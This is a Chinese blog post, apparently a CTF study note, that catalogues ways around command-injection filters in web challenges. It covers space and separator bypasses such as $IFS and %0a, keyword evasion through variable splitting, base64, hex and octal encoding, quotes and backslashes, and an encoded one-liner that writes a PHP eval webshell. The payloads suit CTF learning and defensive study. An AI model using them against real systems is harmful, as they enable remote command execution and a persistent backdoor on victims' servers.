ctf xor题_CTF下的命令执行

前言:

做web题也经常遇到很多关于命令执行的一些姿势,这次就总结下来。

0x00:一些绕过姿势

在遇到的一些web题中,会经常将以下几种给过滤或者进行限制:

  1. 空格

  2. 命令分隔符

  3. 关键字

  4. 限制长度

  5. 限制回显

等等,这次就通过题目将这些如何绕过的知识给记录下来。

空格绕过

常见的绕过符号有:

$IFS$9 、${ IFS} 、%09(php环境下)、 重定向符<>、

#$IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名,

加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用

测试一下: 09c539811ede6fc91751e0b7b3c840ed.png

命令分隔

%0a --换行符,需要php环境

%0d --回车符,需要php环境

; --在 shell 中,是”连续指令”

& --不管第一条命令成功与否,都会执行第二条命令

&& --第一条命令成功,第二条才会执行

| --第一条命令的结果,作为第二条命令的输入

|| --第一条命令失败,第二条才会执行

abe51c2a937dce43f79da5b190f287f5.png 例如ctfhub这道题就过滤了命令分割符,用%0a便可以分隔命令进行查看

127.0.0.1%0als

62548e0f95bbae0b40506bbe9195826b.png

关键词过滤

假如过滤了关键字cat\flag,无法读取不了flag.php,又该如何去做

拼接绕过

#执行ls命令:

a=l;b=s;$a$b

#cat flag文件内容:

a=c;b=at;c=f;d=lag;$a$b ${ c}${ d}

#cat test文件内容

a="ccaatt";b=${ a:0:1}${ a:2:1}${ a:4:1};$b test

编码绕过

#base64

echo "Y2F0IC9mbGFn"|base64 -d|bash ==>cat /flag

echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag

#hex

echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag

#oct/字节

$(printf "\154\163") ==>ls

$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag

{ printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag

#i也可以通过这种方式写马

内容为php @eval($_POST['c']);?>

${ printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

单引号和双引号绕过

c'a't test

c"a"t test

反斜杠绕过

ca\t test

通过$PATH绕过

#echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成

#当执行程序时,shell自动跟据PATH变量的值去搜索该程序

#shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索

echo $PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值